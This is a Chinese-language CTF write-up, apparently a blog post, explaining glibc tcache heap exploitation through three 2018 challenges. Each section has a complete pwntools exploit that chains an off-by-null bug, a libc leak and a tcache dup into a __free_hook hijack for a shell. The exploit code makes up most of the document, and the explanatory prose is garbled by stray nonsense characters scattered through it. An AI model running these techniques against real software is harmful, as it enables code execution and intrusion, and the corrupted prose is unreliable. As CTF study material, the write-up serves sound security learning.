tcache是libc2.26之后引進(jìn)的一種新機(jī)制,之前一直沒做到,然后做幾道題熟悉一下
原理及機(jī)制
簡單來說就是類似fastbin一樣的東西,每條鏈上最多可以有 7 個 chunk,free的時候當(dāng)tcache滿了才放入fastbin事富,unsorted bin,malloc的時候優(yōu)先去tcache找
調(diào)試工具
- 這里我直接用m4x師傅改的pwndbg在ubuntu18.04下來調(diào)試tcache
[2018 LCTF] easy_heap
- 程序有個off by null漏洞點(diǎn)乘陪,然后libc是2.27的统台,所以存在tcache機(jī)制,當(dāng)free 7個塊tcache滿了以后啡邑,第8贱勃,9,10個塊就會放入unsorted bin中谣拣,利用off by null來free的時候向前合并,然后uaf泄漏libc地址族展,再利用tcache dup(類似double free)來對free_hook改寫成one_gadget
exp:
from pwn import *
context.log_level = 'debug'
def malloc(size,content):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('> ')
p.sendline(str(size))
p.recvuntil('> ')
p.sendline(content)
def free(index):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('> ')
p.sendline(str(index))
def puts(index):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('> ')
p.sendline(str(index))
p = process('./easy_heap')
#p = remote('118.25.150.134',6666 )
for i in range(10):
malloc(0x20,'a')
for i in range(3,10):
free(i)
for i in range(3):
free(i)
for i in range(10):
malloc(0x20,'a')
for i in range(6):
free(i)
free(8) #fill tcache
free(7) #unsorted bin
malloc(0xf8,'b') #change next_chunk pre_inuse = 0
free(6) #fill tcache
free(9) #unsorted bin
#unsorted bin point to chunk[0]
for i in range(8):
malloc(0x20,'b')
#leak libc
puts(0)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3ebc40
log.success('libc base addr : 0x%x'%libc_base)
free_hook = libc_base + 0x3ed8e8
one_gadget = libc_base + 0x4f322
log.success('free_hook addr : 0x%x'%free_hook)
log.success('one_gadget addr : 0x%x'%one_gadget)
#clear unsorted bin
malloc(0x20,'d')
#free place to malloc
free(1)
#tcache dup
free(0)
free(9)
#hijack free_hook to one_gadegt
malloc(0x20,p64(free_hook))
malloc(0x20,'e')
malloc(0x20,p64(one_gadget))
#trigger one_gadget to getshelol
free(5)
p.interactive()
[2018 HITCON CTF] children_tcache
- 漏洞點(diǎn)也是off by null森缠,libc也是2.27的,跟easy_heap差不多仪缸,但是這里可以分配任意大小的堆塊贵涵,tcache的范圍是 [0x20, 0x400),超過這個大小的就會放入unsorted bin恰画,利用off by null來free chunk的時候向前合并宾茂,然后uaf泄漏libc地址,再利用tcache dup(類似double free)來對free_hook改寫成one_gadget
exp:
from pwn import *
context.log_level = 'debug'
p = process('./children_tcache')
def new(size,data):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Data:')
p.sendline(data)
def show(index):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
def delete(index):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))
new(0x500,'a')
new(0x28,'a')
new(0x4f0,'a')
new(0x20,'a')
delete(0)
delete(1)
new(0x28,'a')
#overwrite the pre_chunk_in_use and pre_size
#clean pre_size
for i in range(6):
delete(0)
new(0x20+8-i,'a'*(0x20+8-i))
delete(0)
new(0x20+2,'a'*0x20 + '\x40\x05')
#unsorted bin Merging forward
delete(2)
new(0x500,'a')
#leak libc
show(0)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3ebc40
log.success('libc_base addr : 0x%x'%libc_base)
free_hook = libc_base + 0x3ed8e8
one_gadget = libc_base + 0x4f322
log.success('free_hook addr : 0x%x'%free_hook)
log.success('one_gadget addr : 0x%x'%one_gadget)
#tcache dup
new(0x28,'a')
delete(0)
delete(2)
#hijack free_hook to one_gadget
new(0x28,p64(free_hook))
new(0x28,'a')
new(0x28,p64(one_gadget))
#trigger one_gadget
delete(1)
#gdb.attach(p)
p.interactive()
[2018 HITCON CTF] baby_tcache
- 題目大體和children_tcache一樣拴还,off by null漏洞跨晴,但是沒有了打印函數(shù),所以要想辦法泄漏libc片林,然后這里利用IO_FILE結(jié)構(gòu)體去泄漏地址端盆,具體參考
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/exploit-in-libc2.24/
- 所以前面前向合并的步驟跟children_tcache大體一樣怀骤,然后修改tcache的fd指針指向IO_2_1_stdout結(jié)構(gòu)體修改_IO_write_base地址就能泄漏地址根據(jù)偏移來獲得libc基址,然后后面還是一樣用double free來修改free_hook為one_gadget來getshell焕妙,這里要注意修改結(jié)構(gòu)體的時候flags要過校驗(yàn)(具體可以參考這篇文章)蒋伦,而且fd指針的地址跟IO_2_1_stdout結(jié)構(gòu)體地址需要爆破1位
#_IO_FILE flags
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000
_flags=_IO_MAGIC+_IO_CURRENTLY_PUTTING+_IO_IS_APPENDING+(_IO_LINKED)
_flags=0xfbad1800 or 0xfbad1880 或者再加一些其他不影響leak的_flags
exp:
from pwn import *
context.log_level = 'debug'
def new(size,data):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Data:')
p.send(data)
def delete(index):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
while True:
try:
p = process('./baby_tcache')
new(0x500,'a')
new(0x78,'a')
new(0x4f0,'a')
new(0x20,'a')
#unsorted bin
delete(0)
delete(1)
new(0x78,'a')
#overwrite the pre_chunk_in_use and pre_size
#clean pre_size
for i in range(6):
delete(0)
new(0x70+8-i,'a'*(0x70+8-i))
delete(0)
new(0x72,'a'*0x70 + '\x90\x05')
#unsorted bin Merging forward
delete(2)
delete(0)
#hijack fd -> _IO_2_1_stdout_
new(0x500,'a')
new(0x88,'\x60\xc7')
#hijack _IO_write_base to leak libc
new(0x78,'a')
fake__IO_2_1_stdout_ = p64(0xfbad1800) + p64(0)*3 + "\x00"
#gdb.attach(p)
new(0x78,fake__IO_2_1_stdout_)
libc_base = u64(p.recv(0x30)[8:16]) - 0x3ed8b0
log.success('libc_base addr : 0x%x'%libc_base)
free_hook = libc_base + 0x3ed8e8
one_gadget = libc_base + 0x4f322
log.success('free_hook addr : 0x%x'%free_hook)
log.success('one_gadget addr : 0x%x'%one_gadget)
#double free
delete(1)
delete(2)
#hijack free_hook -> one_gadget
new(0x88,p64(free_hook))
new(0x88,'a')
new(0x88,p64(one_gadget))
#trigger one_gadget
delete(0)
p.interactive()
except Exception as e:
p.close()
參考文章: